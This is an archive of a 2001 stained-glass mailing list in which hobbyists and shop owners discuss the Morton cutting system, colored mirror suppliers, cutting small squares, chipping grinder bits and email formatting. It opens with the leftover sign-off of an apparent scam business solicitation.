>and any other modality
>involve. We shall bring you more business outfit after
>this one at hand
>goes well.Your response will be highly
>appreciated.Thanks and remain bless.
>
>ENGR.NOSA BEBEYE
>
>
>
>__________________________________________________
>
>
>
>
>
>
>
>
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Auctions - Buy the things you want at great prices!
>http://auctions.yahoo.com/
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass
>
>----
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>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass
>
----
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From owner-glass Fri Feb 23 07:03:37 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
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	for rglass-42; Fri, 23 Feb 2001 06:48:58 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: fn3.freenet.tlh.fl.us!gonzalj
From: Jim Gonzalez <gonzalj@freenet.tlh.fl.us>
To: <CINDEL67@aol.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Morton system
Date: Fri, 23 Feb 2001 10:15:53 -0500 (EST)
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

On Thu, 22 Feb 2001 CINDEL67@aol.com wrote:
>
> Hi....just a quick question. I'm thinking about buying the Morton Portable
> glass shop and I was wondering your comments on this. Is it worth my time and
> $$$$$$$$
> Cinda

Cinda,

Are you thinking about buying just the cutting grid or the entire system
with all the pieces for cutting lines and angles?  I think the Morton
system is great for cutting straight lines and geometric pieces.  Many
people complain that they can not figure out how to use it.  I think a
little knowledge of geometry helps.  Thought you were done with geometry
when you left high school.

If your work involves making a lot of straight line cuts, or shapes with
straight sides you may benefit from it.  I find it valuable when cutting
pieces for a panel lamp as you can quickly make them all the same size and
shape.

I would recommend that you download the instructions from the Morton web
page and read them.  Maybe after reading the instructions you will be in a
better position to determine if the Morton system is for you.  If you ever
get a chance to see Don Abel demonstrate the system (Don is the
founder), you will learn more in half an hour then you ever thought
possible.  There is a video available but I understand it is not very
helpful.

Jim

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From owner-glass Fri Feb 23 08:32:06 2001
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From: "Allison Pearson" <blmoon@earthlink.net>
To: "glass" <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Colored Mirror
Date: Fri, 23 Feb 2001 11:21:50 -0500
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Does anyone know where we might be able to find Retail cobalt blue or =
dark turquoise colored mirror?
We used to get it from Warner Crivelaro, but we've ordered it at least =
3-4 times & they never have it anymore.

Ali & Parke Pearson
Blue Moon Glass
Our website: www.blmoonglass.com
914-693-2791

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
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</HEAD>
<BODY bgColor=3D#c8e8f8>
<DIV><FONT color=3D#000080 face=3DTahoma size=3D3><STRONG>Does anyone =
know where we=20
might be able to find Retail cobalt blue or dark turquoise colored=20
mirror?</STRONG></FONT></DIV>
<DIV><FONT color=3D#000080 face=3DTahoma><STRONG>We used to get it from =
Warner=20
Crivelaro, but we've ordered it at least 3-4 times &amp; they never have =
it=20
anymore.</STRONG></FONT></DIV>
<DIV><STRONG><FONT color=3D#000080 face=3DTahoma =
size=3D3></FONT></STRONG>&nbsp;</DIV>
<DIV><STRONG><FONT color=3D#000080 face=3DTahoma size=3D3>Ali &amp; =
Parke=20
Pearson<BR>Blue Moon Glass<BR>Our website: <A=20
href=3D"http://www.blmoonglass.com">www.blmoonglass.com</A><BR>914-693-27=
91</FONT></STRONG></DIV></BODY></HTML>

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From owner-glass Fri Feb 23 09:03:56 2001
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X-Path: stratus.com!Charlie.Spitzer
From: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain
Subject: RE: Colored Mirror
Date: Fri, 23 Feb 2001 09:40:31 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

i've bought colored mirror from my local window glass shop. they frequently
have to order it though.

please stop sending mime mail.

regards,
charlie
phx, az

> -----Original Message-----
> From: Allison Pearson [mailto:blmoon@earthlink.net]
> Sent: Friday, February 23, 2001 9:22 AM
> To: glass
> Subject: Colored Mirror
> 
> 
> This is a multi-part message in MIME format.
> 
> ------=_NextPart_000_003C_01C09D8A.D0FD9020
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
> 
> Does anyone know where we might be able to find Retail cobalt 
> blue or =
> dark turquoise colored mirror?
> We used to get it from Warner Crivelaro, but we've ordered it 
> at least =
> 3-4 times & they never have it anymore.
> 
> Ali & Parke Pearson
> Blue Moon Glass
> Our website: www.blmoonglass.com
> 914-693-2791
> 
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From owner-glass Fri Feb 23 09:33:37 2001
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X-Path: netcom.ca!shmilly
From: Bill <shmilly@attcanada.ca>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: jig for cutting 1/2 inch squares
Date: Fri, 23 Feb 2001 11:41:07 -0500
Message-ID: <3.0.6.32.20010223114107.0079b2e0@popd.netcom.ca>
Precedence: bulk

hi all!...i am having a problem with rigging up a jig (or something) to
make some small squares that are 1/2 X 1/2 inch.........i have tried
several attempts on my own but they have not been too successful....(is
there something i should purchase for the job??)....my pattern calls for
approximately 20 of these and they need to be quite exact as they line up
with other pieces of glass.....my biggest problem seems to be in keeping a
true straight edge on all four sides (for foiling later)......some are
somewhat bevelled along the edge and are not nice and flat......grinding
would only take away from the squareness......sometimes the corner seems to
chip away also.......any ideas for this size or even smaller squares would
be greatly appreciated.....if you have any questions concerning my problem,
please feel free to e-mail me...thanks in advance....bill
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From owner-glass Fri Feb 23 11:56:45 2001
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From: PookyPook@aol.com
To: glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_f3.7c04eaa.27c8148f_boundary"
Subject: Grinder bit
Date: Fri, 23 Feb 2001 14:31:27 EST
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I have a relatively new grinder bit I have been using. It is only about 3 
months old. The old was was about 4 years old. That one worked fine, just 
took longer to grind. So, I went and got a new bit. I have a Glastar grinder 
and got the Glastar bit. Today I have noticed that it is chipping the edge of 
the glass! Nasty. I have never seen this happen before. Did I get a defective 
bit? What could be causing it? I don't do a lot of grinding.. just enough to 
get an edge for the foil. This is happening out of the blue..Anyone with any 
answers?

Ruth
"If we quit voting will they all go away?"
http://members.aol.com/RTSkeeter
 ICQ11716411



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>I have a relatively new grinder bit I have been using. It is only about 3 
<BR>months old. The old was was about 4 years old. That one worked fine, just 
<BR>took longer to grind. So, I went and got a new bit. I have a Glastar grinder 
<BR>and got the Glastar bit. Today I have noticed that it is chipping the edge of 
<BR>the glass! Nasty. I have never seen this happen before. Did I get a defective 
<BR>bit? What could be causing it? I don't do a lot of grinding.. just enough to 
<BR>get an edge for the foil. This is happening out of the blue..Anyone with any 
<BR>answers?
<BR>
<BR>Ruth
<BR>"If we quit voting will they all go away?"
<BR>http://members.aol.com/RTSkeeter
<BR> ICQ11716411
<BR>
<BR></FONT></HTML>

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From owner-glass Fri Feb 23 12:03:31 2001
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X-Path: stainedglass.co.uk!studio
From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Morton system
Date: Fri, 23 Feb 2001 19:17:53 +0000
Message-ID: <1970Jan1.000.0>
Precedence: bulk

At 23:53 22/02/01 EST, You wrote:

>Hi....just a quick question. I'm thinking about buying the Morton Portable 
>glass shop and I was wondering your comments on this. Is it worth my time and 
>$$$$$$$$
>
Hello Cinda
>
What shapes do you need to cut?
The PGS is aimed at those wanting to cut repetitive shapes like strips,
mitred corners, squares, diamonds, triangles and trapezoids (panel lampshade
sections) quickly and accurately and does a very good job at it!!
My students after a couple of lessons at stained glass are easily able to
cut identical edges for their mirrors with mitred corners as the PGS takes
the quesswork out of holding their ruler still and measuring sizes.  Once
set up you could cut several hundred pieces of glass exactly the same shape
in a short space of time - only 10 minutes to cut a hundred or more 1 inch
squares of black opalescent recently for a cabinet maker!
However if your shapes have curved edges or are all individual sizes you may
not get any more benefit than accuracy and ease of cutting - the ruler is
held for you releasing your other hand for controlling your cutter better.
Are you intending to buy from a retail shop?  If so they will no doubt have
the video that you can watch and let you try the PGs before buying and be
able to advise on any problems.  
If you buy mail order or over the net you will be on your own and tempted to
give up on it as most people find it quite hard to follow the written
instructions, so allow plenty of practice time before attempting your project.

Regards
Elizabeth in Bournemouth
Bournemouth Stained Glass
http://www.stainedglass.co.uk
UK Charter Member RAGS

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From owner-glass Fri Feb 23 12:32:45 2001
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X-Path: gdi.net!shodge
From: Southern Exposure <shodge@gdi.net>
To: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Morton system
Date: Fri, 23 Feb 2001 03:18:15 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Southern Exposure
Precedence: bulk

studio@stainedglass.co.uk wrote:
> 
> At 23:53 22/02/01 EST, You wrote:
> 
> >Hi....just a quick question. I'm thinking about buying the Morton Portable
> >glass shop and I was wondering your comments on this. Is it worth my time and
> >$$$$$$$$
> >
> Hello Cinda
> >
> What shapes do you need to cut?
> The PGS is aimed at those wanting to cut repetitive shapes like strips,
> mitred corners, squares, diamonds, triangles and trapezoids (panel lampshade
> sections) quickly and accurately and does a very good job at it!!
> My students after a couple of lessons at stained glass are easily able to
> cut identical edges for their mirrors with mitred corners as the PGS takes
> the quesswork out of holding their ruler still and measuring sizes.  Once
> set up you could cut several hundred pieces of glass exactly the same shape
> in a short space of time - only 10 minutes to cut a hundred or more 1 inch
> squares of black opalescent recently for a cabinet maker!
> However if your shapes have curved edges or are all individual sizes you may
> not get any more benefit than accuracy and ease of cutting - the ruler is
> held for you releasing your other hand for controlling your cutter better.
> Are you intending to buy from a retail shop?  If so they will no doubt have
> the video that you can watch and let you try the PGs before buying and be
> able to advise on any problems.
> If you buy mail order or over the net you will be on your own and tempted to
> give up on it as most people find it quite hard to follow the written
> instructions, so allow plenty of practice time before attempting your project.
> 
> Regards
> Elizabeth in Bournemouth
> Bournemouth Stained Glass
> http://www.stainedglass.co.uk
> UK Charter Member RAGS
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
I agree the instructions that come with the Morton Portable glass shop
can be hard to understand at first. Me recomendation is to have someone
show you how to use the instruction sheets then be do just fine.

Skip
Southern Exposure Stained Glass Supply, Inc.
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From owner-glass Fri Feb 23 13:01:02 2001
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X-Path: stratus.com!Charlie.Spitzer
From: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Grinder bit
Date: Fri, 23 Feb 2001 13:21:45 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

if it's not exactly round, you can get chipping.

try holding your fingernail just alongside the bit a fraction away from it,
and then moving it closer and closer until it just touches. if you can feel
a vibration this may be the problem.

it's also possible for the coating to separate and start coming off.

you might also try contacting glastar directly: http://www.glastar.com

regards,
charlie
phx, az

-----Original Message-----
From: PookyPook@aol.com [mailto:PookyPook@aol.com]
Sent: Friday, February 23, 2001 12:31 PM
To: glass@bungi.com
Subject: Grinder bit


I have a relatively new grinder bit I have been using. It is only about 3 
months old. The old was was about 4 years old. That one worked fine, just 
took longer to grind. So, I went and got a new bit. I have a Glastar grinder

and got the Glastar bit. Today I have noticed that it is chipping the edge
of 
the glass! Nasty. I have never seen this happen before. Did I get a
defective 
bit? What could be causing it? I don't do a lot of grinding.. just enough to

get an edge for the foil. This is happening out of the blue..Anyone with any

answers? 

Ruth 
"If we quit voting will they all go away?" 
http://members.aol.com/RTSkeeter 
ICQ11716411 
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From owner-glass Fri Feb 23 13:01:03 2001
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X-Path: citynet.net!khupp
From: "Kathy Hupp" <khupp@citynet.net>
To: <PookyPook@aol.com>, <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Re: Grinder bit
Date: Fri, 23 Feb 2001 15:09:20 -0500
Message-ID: <1970Jan1.000.0>
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This is a multi-part message in MIME format.

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I've had this happen nearly every time I have purchased a new bit. It =
will quit once the bit wears down just a little. You might try grinding =
on scrap until it "wears in".
Hope this helps!
Kathy
  ----- Original Message -----=20
  From: PookyPook@aol.com=20
  To: glass@bungi.com=20
  Sent: Friday, February 23, 2001 2:31 PM
  Subject: Grinder bit


  I have a relatively new grinder bit I have been using. It is only =
about 3=20
  months old. The old was was about 4 years old. That one worked fine, =
just=20
  took longer to grind. So, I went and got a new bit. I have a Glastar =
grinder=20
  and got the Glastar bit. Today I have noticed that it is chipping the =
edge of=20
  the glass! Nasty. I have never seen this happen before. Did I get a =
defective=20
  bit? What could be causing it? I don't do a lot of grinding.. just =
enough to=20
  get an edge for the foil. This is happening out of the blue..Anyone =
with any=20
  answers?=20

  Ruth=20
  "If we quit voting will they all go away?"=20
  http://members.aol.com/RTSkeeter=20
  ICQ11716411=20



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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I've had this happen nearly every time =
I have=20
purchased a new bit. It will quit once the bit wears down just a little. =
You=20
might try grinding on scrap until it "wears in".</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Hope this helps!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Kathy</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:PookyPook@aol.com"=20
  title=3DPookyPook@aol.com>PookyPook@aol.com</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:glass@bungi.com"=20
  title=3Dglass@bungi.com>glass@bungi.com</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, February 23, 2001 =
2:31=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Grinder bit</DIV>
  <DIV><BR></DIV><FONT face=3Darial,helvetica><FONT size=3D2>I have a =
relatively new=20
  grinder bit I have been using. It is only about 3 <BR>months old. The =
old was=20
  was about 4 years old. That one worked fine, just <BR>took longer to =
grind.=20
  So, I went and got a new bit. I have a Glastar grinder <BR>and got the =
Glastar=20
  bit. Today I have noticed that it is chipping the edge of <BR>the =
glass!=20
  Nasty. I have never seen this happen before. Did I get a defective =
<BR>bit?=20
  What could be causing it? I don't do a lot of grinding.. just enough =
to=20
  <BR>get an edge for the foil. This is happening out of the =
blue..Anyone with=20
  any <BR>answers? <BR><BR>Ruth <BR>"If we quit voting will they all go =
away?"=20
  <BR>http://members.aol.com/RTSkeeter <BR>ICQ11716411=20
<BR><BR></BLOCKQUOTE></FONT></FONT></BODY></HTML>

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From owner-glass Fri Feb 23 13:01:03 2001
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X-Path: softhouse.com!giapet
From: "Karen K." <giapet@softhouse.com>
To: "Bungi" <glass@bungi.com>
Subject: How to change from MIME format
Date: Fri, 23 Feb 2001 15:05:36 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk




> Changing MIME setting in Outlook Express can be done by going
> to.....   Tools/Options/Send  then checking *plain text* under *Mail
> sending format*.   *Plain Text Settings* should also be set to
> *unencode*.   Changing it here will send all your mail out in plain
> text, you will not have to check each email for it's format before
> sending.
>
> Karen



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From owner-glass Fri Feb 23 13:33:33 2001
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X-Path: aol.com!Beveler4
From: Beveler4@aol.com
To: <blmoon@earthlink.net>
Content-Type: text/plain; charset=ISO-8859-1
Subject: Re: Colored Mirror
Date: Fri, 23 Feb 2001 16:22:24 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Allison,
The colored mirror that I have dealt with in the past has been GNA Mirror(German New Antique) and it comes in many colors,I haven't ordered any for awhile but I checked with the distributor and it is still available.
So I would suggest going to your local retail shop and tell them what you are looking for and they should be able to get it for you.
Beveler4 (Stan)
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From owner-glass Fri Feb 23 14:04:26 2001
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From: Beveler4@aol.com
To: <shmilly@attcanada.ca>
Content-Type: text/plain; charset=ISO-8859-1
Subject: Re: jig for cutting 1/2 inch squares
Date: Fri, 23 Feb 2001 16:28:47 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Bill,
Funny that you should ask,Read the comments about the morton system that have been posted here recently and this will answer all of your questions. The morton system will do exactly what you are looking to do. It is a very simple yet versatile tool for anyone that does any amount of straight line or strip cutting,diamonds are a cinch with it.Any straight line trapazoid such as for lamps etc become a breeze using the morton system.
Beveler4 (Stan)
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From owner-glass Fri Feb 23 14:15:51 2001
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "Bill" <shmilly@attcanada.ca>,
Content-Type: text/plain;
Subject: RE: jig for cutting 1/2 inch squares
Date: Fri, 23 Feb 2001 17:08:25 -0500
Message-ID: <1970Jan1.000.0>
References: <<3.0.6.32.20010223114107.0079b2e0@popd.netcom.ca>>
Precedence: bulk

i use the score board from rainbow glass ( i think that's their name).

and a strip cutter, make the 1/2" strip, break and use the score board for
the other side. or you can use the strip cutter - make the 1/2" strips, then
line up the glass edge on, and score again.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Bill [mailto:shmilly@attcanada.ca]
> Sent: Friday, February 23, 2001 11:41 AM
> To: glass@bungi.com
> Subject: jig for cutting 1/2 inch squares
>
>
> hi all!...i am having a problem with rigging up a jig (or something) to
> make some small squares that are 1/2 X 1/2 inch.........i have tried
> several attempts on my own but they have not been too successful....(is
> there something i should purchase for the job??)....my pattern calls for
> approximately 20 of these and they need to be quite exact as they line up
> with other pieces of glass.....my biggest problem seems to be in keeping a
> true straight edge on all four sides (for foiling later)......some are
> somewhat bevelled along the edge and are not nice and flat......grinding
> would only take away from the squareness......sometimes the
> corner seems to
> chip away also.......any ideas for this size or even smaller squares would
> be greatly appreciated.....if you have any questions concerning
> my problem,
> please feel free to e-mail me...thanks in advance....bill
> ----
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From owner-glass Fri Feb 23 14:16:24 2001
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From: "Mike Savad" <esavad@home.com>
To: <PookyPook@aol.com>,
Content-Type: multipart/alternative;
Subject: RE: Grinder bit
Date: Fri, 23 Feb 2001 17:10:27 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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this is caused by the diamond surface sticking out.. always on the new bits.
get a piece of scrap glass and go over the entire bit (with water), this
will knowck down the higher diamonds and lessen the chipping.

the bit may also be a standard bit, and the one you were using could have
been a fine bit, that transition can happen too.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

  -----Original Message-----
  From: PookyPook@aol.com [mailto:PookyPook@aol.com]
  Sent: Friday, February 23, 2001 2:31 PM
  To: glass@bungi.com
  Subject: Grinder bit


  I have a relatively new grinder bit I have been using. It is only about 3
  months old. The old was was about 4 years old. That one worked fine, just
  took longer to grind. So, I went and got a new bit. I have a Glastar
grinder
  and got the Glastar bit. Today I have noticed that it is chipping the edge
of
  the glass! Nasty. I have never seen this happen before. Did I get a
defective
  bit? What could be causing it? I don't do a lot of grinding.. just enough
to
  get an edge for the foil. This is happening out of the blue..Anyone with
any
  answers?

  Ruth
  "If we quit voting will they all go away?"
  http://members.aol.com/RTSkeeter
  ICQ11716411



------=_NextPart_000_000B_01C09DBB.84B0D340
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D040450822-23022001><FONT face=3DArial color=3D#0000ff =
size=3D2>this=20
is caused by the diamond surface sticking out.. always on the new bits. =
get a=20
piece of scrap glass and go over the entire bit (with water), this will =
knowck=20
down the higher diamonds and lessen the chipping. </FONT></SPAN></DIV>
<DIV><SPAN class=3D040450822-23022001><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D040450822-23022001><FONT face=3DArial color=3D#0000ff =
size=3D2>the=20
bit may also be a standard bit, and the one you were using could have =
been a=20
fine bit, that transition can happen too.</FONT></SPAN></DIV>
<DIV><SPAN class=3D040450822-23022001><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D040450822-23022001><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D040450822-23022001><FONT face=3DArial color=3D#0000ff =

size=3D2>---Mike Savad</FONT></SPAN></DIV>
<DIV><SPAN class=3D040450822-23022001></SPAN>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<P><FONT size=3D2>---<BR>Mike's Stained Glass - <A target=3D_blank=20
href=3D"http://www.geocities.com/Paris/1141/">http://www.geocities.com/Pa=
ris/1141/</A><BR>Contains=20
a wealth of stained glass information, stained glass tips, stained glass =

instruction, and many, many stained glass links.<BR>---<BR>11-7-00 - New =
Stuff=20
Added: How to solder a nice bead, and several new projects. You can now =
search=20
my site with a built in engine.</FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> PookyPook@aol.com=20
  [mailto:PookyPook@aol.com]<BR><B>Sent:</B> Friday, February 23, 2001 =
2:31=20
  PM<BR><B>To:</B> glass@bungi.com<BR><B>Subject:</B> Grinder=20
  bit<BR><BR></FONT></DIV><FONT face=3Darial,helvetica><FONT size=3D2>I =
have a=20
  relatively new grinder bit I have been using. It is only about 3 =
<BR>months=20
  old. The old was was about 4 years old. That one worked fine, just =
<BR>took=20
  longer to grind. So, I went and got a new bit. I have a Glastar =
grinder=20
  <BR>and got the Glastar bit. Today I have noticed that it is chipping =
the edge=20
  of <BR>the glass! Nasty. I have never seen this happen before. Did I =
get a=20
  defective <BR>bit? What could be causing it? I don't do a lot of =
grinding..=20
  just enough to <BR>get an edge for the foil. This is happening out of =
the=20
  blue..Anyone with any <BR>answers? <BR><BR>Ruth <BR>"If we quit voting =
will=20
  they all go away?" <BR>http://members.aol.com/RTSkeeter =
<BR>ICQ11716411=20
  <BR><BR></BLOCKQUOTE></FONT></FONT></BODY></HTML>

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From owner-glass Fri Feb 23 14:36:39 2001
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X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: PookyPook@aol.com, glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Grinder bit
Date: Fri, 23 Feb 2001 16:22:18 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

You are used to grinding with an old bit.
You will have to use a very light touch now.  When the sharp edges are
off the diamonds it wont take as much attention to being light on the
touch.

Suzanne

PookyPook@aol.com wrote:
> 
> I have a relatively new grinder bit I have been using. It is only
> about 3
> months old. The old was was about 4 years old. That one worked fine,
> just
> took longer to grind. So, I went and got a new bit. I have a Glastar
> grinder
> and got the Glastar bit. Today I have noticed that it is chipping the
> edge of
> the glass! Nasty. I have never seen this happen before. Did I get a
> defective
> bit? What could be causing it? I don't do a lot of grinding.. just
> enough to
> get an edge for the foil. This is happening out of the blue..Anyone
> with any
> answers?
> 
> Ruth
> "If we quit voting will they all go away?"
> http://members.aol.com/RTSkeeter
> ICQ11716411
----
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From owner-glass Fri Feb 23 14:49:45 2001
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From: CINDEL67@aol.com
To: glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_76.8087850.27c839db_boundary"
Subject: Re: morton
Date: Fri, 23 Feb 2001 17:10:35 EST
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Thanks to everyone who answered my questions. I got many replies. I believe I 
am sold on this product!!! So my next step is to see where I can buy one.
Thanks again.
Cinda

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<HTML><FONT FACE=arial,helvetica><FONT  COLOR="#8000ff" SIZE=3 FAMILY="SCRIPT" FACE="Comic Sans MS" LANG="0">Thanks to everyone who answered my questions. I got many replies. I believe I 
<BR>am sold on this product!!! So my next step is to see where I can buy one.
<BR>Thanks again.
<BR>Cinda</FONT></HTML>

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From owner-glass Fri Feb 23 15:04:11 2001
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X-Path: netzero.net!heesunstainedglassltd
From: "heesunstainedglassltd" <heesunstainedglassltd@netzero.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Morton system
Date: Fri, 23 Feb 2001 16:55:41 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

We use the Morton PGS during our beginners class, and in our jewelry box
classes and most love it.  The directions can be overwhelming and the
learning curve is decreased after seeing someone demonstrate the use of the
PGS.  The only word of caution would be to make sure that your cutter is not
leaning either in or out from the edge of the cutting bar, or your pieces
will differ anywhere from 1/16" or more.


For anyone in the Maryland area this weekend, we will be demonstrating the
Morton Portable Glass Shop, the Cutters Mate, Taurus 2 saw, Gryphon saw,
Speedster, Quickfire Kiln, and more , more, more....

 This will all take place Saturday and Sunday at our annual Customer
Appreciation Day......including food, drink, and everything on sale....

Hope to see you there.

Robert & Jeanne
Hee Sun Stained Glass, Ltd.
324 Main Street
Reisterstown , MD 21136
410-833-3007
info@heesun.com
sales@heesun.com
http://www.heesun.com
Custom Design Studio
Supplies & Classes for Stained & Fused Glass & Mosaics
----- Original Message -----
From: "Southern Exposure" <shodge@gdi.net>
To: <studio@stainedglass.co.uk>
Sent: Friday, February 23, 2001 3:18 AM
Subject: Re: Morton system


> studio@stainedglass.co.uk wrote:
> >
> > At 23:53 22/02/01 EST, You wrote:
> >
> > >Hi....just a quick question. I'm thinking about buying the Morton
Portable
> > >glass shop and I was wondering your comments on this. Is it worth my
time and
> > >$$$$$$$$
> > >
> > Hello Cinda
> > >
> > What shapes do you need to cut?
> > The PGS is aimed at those wanting to cut repetitive shapes like strips,
> > mitred corners, squares, diamonds, triangles and trapezoids (panel
lampshade
> > sections) quickly and accurately and does a very good job at it!!
> > My students after a couple of lessons at stained glass are easily able
to
> > cut identical edges for their mirrors with mitred corners as the PGS
takes
> > the quesswork out of holding their ruler still and measuring sizes.
Once
> > set up you could cut several hundred pieces of glass exactly the same
shape
> > in a short space of time - only 10 minutes to cut a hundred or more 1
inch
> > squares of black opalescent recently for a cabinet maker!
> > However if your shapes have curved edges or are all individual sizes you
may
> > not get any more benefit than accuracy and ease of cutting - the ruler
is
> > held for you releasing your other hand for controlling your cutter
better.
> > Are you intending to buy from a retail shop?  If so they will no doubt
have
> > the video that you can watch and let you try the PGs before buying and
be
> > able to advise on any problems.
> > If you buy mail order or over the net you will be on your own and
tempted to
> > give up on it as most people find it quite hard to follow the written
> > instructions, so allow plenty of practice time before attempting your
project.
> >
> > Regards
> > Elizabeth in Bournemouth
> > Bournemouth Stained Glass
> > http://www.stainedglass.co.uk
> > UK Charter Member RAGS
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> I agree the instructions that come with the Morton Portable glass shop
> can be hard to understand at first. Me recomendation is to have someone
> show you how to use the instruction sheets then be do just fine.
>
> Skip
> Southern Exposure Stained Glass Supply, Inc.
> ----
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>

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From owner-glass Fri Feb 23 17:53:15 2001
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From: Pat <tsanders@gte.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Parts for Inland Edgemaster
Date: Fri, 23 Feb 2001 19:26:24 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Does anyone know if parts can be purchased for the Inland Edgemaster
Foiler?  I recently received a used one that is missing the
splitter/cutter.  Can my retailer order the part for me?

Thanks,

Tricia

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From owner-glass Fri Feb 23 18:12:28 2001
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Regarding colored mirror,  the local studio/store here in Rawlins, =
Wyoming, has some GNA and is willing to ship.  For more information =
contact Betty at Artistry in Glass at artglas@trib.com.  The phone =
number is 307-328-1988.



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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Regarding colored =
mirror,&nbsp;&nbsp;the local=20
studio/store here in Rawlins, Wyoming, has some GNA and is willing to=20
ship.&nbsp; For more information contact Betty at Artistry in Glass =
at&nbsp;<A=20
href=3D"mailto:artglas@trib.com">artglas@trib.com</A>.&nbsp; The phone =
number is=20
307-328-1988.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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From owner-glass Fri Feb 23 19:52:07 2001
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X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: does anyone know...
Date: Fri, 23 Feb 2001 21:28:48 -0600
